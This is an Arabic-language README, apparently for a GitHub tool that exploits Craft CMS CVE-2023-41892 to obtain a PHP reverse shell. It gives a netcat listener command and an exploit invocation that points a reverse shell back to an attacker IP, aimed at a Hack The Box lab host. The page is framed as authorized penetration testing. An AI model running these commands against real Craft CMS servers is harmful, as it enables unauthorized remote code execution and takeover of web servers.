diegaccio/craft-cms-exploitاستغلال Python لـ Craft CMS CVE-2023-41892 ثغرة تنفيذ التعليمات البرمجية عن بُعد، مما يوفر قشرة عكسية PHP لاختبار الاختراق المصرح به.
هذا النص البرمجي بلغة بايثون يستغل ثغرة تنفيذ الأوامر عن بُعد (CVE-2023-41892) في نظام Craft CMS، وهو نظام إدارة محتوى شائع. الإصدارات بين 4.0.0-RC1 و 4.4.14 تتأثر بهذه الثغرة، مما يسمح للمهاجمين بتنفيذ أكواد عشوائية عن بُعد، مثل قذيفة عكسية بلغة PHP.
قم أولاً بتشغيل مستمع netcat في شل أخرى:
nc -nlvp 1234
ثم تحقق من عنوان IP الخاص بك وقم بتشغيل الأداة:
python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb
استمتع بالاختراق باستخدام قذيفتك العكسية الجديدة!
هذا الكود مخصص لأغراض الاختراق الأخلاقي فقط ولا ينبغي استخدامه لأي أنشطة ضارة!
شكرًا لـ to016 على الكود الأصلي الذي يمكن العثور عليه في هذا Gist
